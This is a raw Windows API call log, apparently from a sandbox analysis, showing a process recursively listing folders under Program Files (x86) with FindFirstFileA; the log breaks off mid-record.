[0183.300] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xea9d87c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea9d87c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.305] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xea9d87c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea9d87c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.311] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea9d87c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea9d87c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.316] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xea9fe920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea9fe920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.316] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.323] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea9fe920, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea9fe920, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.330] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaa24a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaa24a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.336] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\Skins\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaa24a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaa24a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.342] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaa24a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaa24a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.347] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows NT\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeaa4abe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaa4abe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.356] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows NT\\Accessories\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaa4abe0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaa4abe0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.362] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeaa70d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaa70d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.368] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows NT\\TableTextService\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeaa70d40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaa70d40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.374] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeaa96ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaa96ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.382] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaa96ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaa96ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.388] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeaa96ea0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaa96ea0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.394] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaabd000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaabd000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.399] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaabd000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaabd000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.404] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeaabd000, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaabd000, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.409] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaae3160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaae3160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.413] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaae3160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaae3160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.418] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeaae3160, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaae3160, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.426] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeab092c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeab092c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.431] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeab092c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeab092c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.436] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeab2f420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeab2f420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.444] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeab2f420, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeab2f420, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.451] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeab55580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeab55580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.457] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeab55580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeab55580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.465] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeab55580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeab55580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.472] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeab7b6e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeab7b6e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.490] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeaba1840, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaba1840, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.496] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeaba1840, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeaba1840, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.503] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeabc79a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeabc79a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.509] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeabc79a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeabc79a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.516] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeabedb00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeabedb00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.524] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeabedb00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeabedb00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.530] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeac13c60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeac13c60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.536] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeac13c60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeac13c60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.542] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeac13c60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeac13c60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.548] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeac39dc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeac39dc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.555] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeac39dc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeac39dc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.561] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeac39dc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeac39dc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.672] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xead6a8c0, 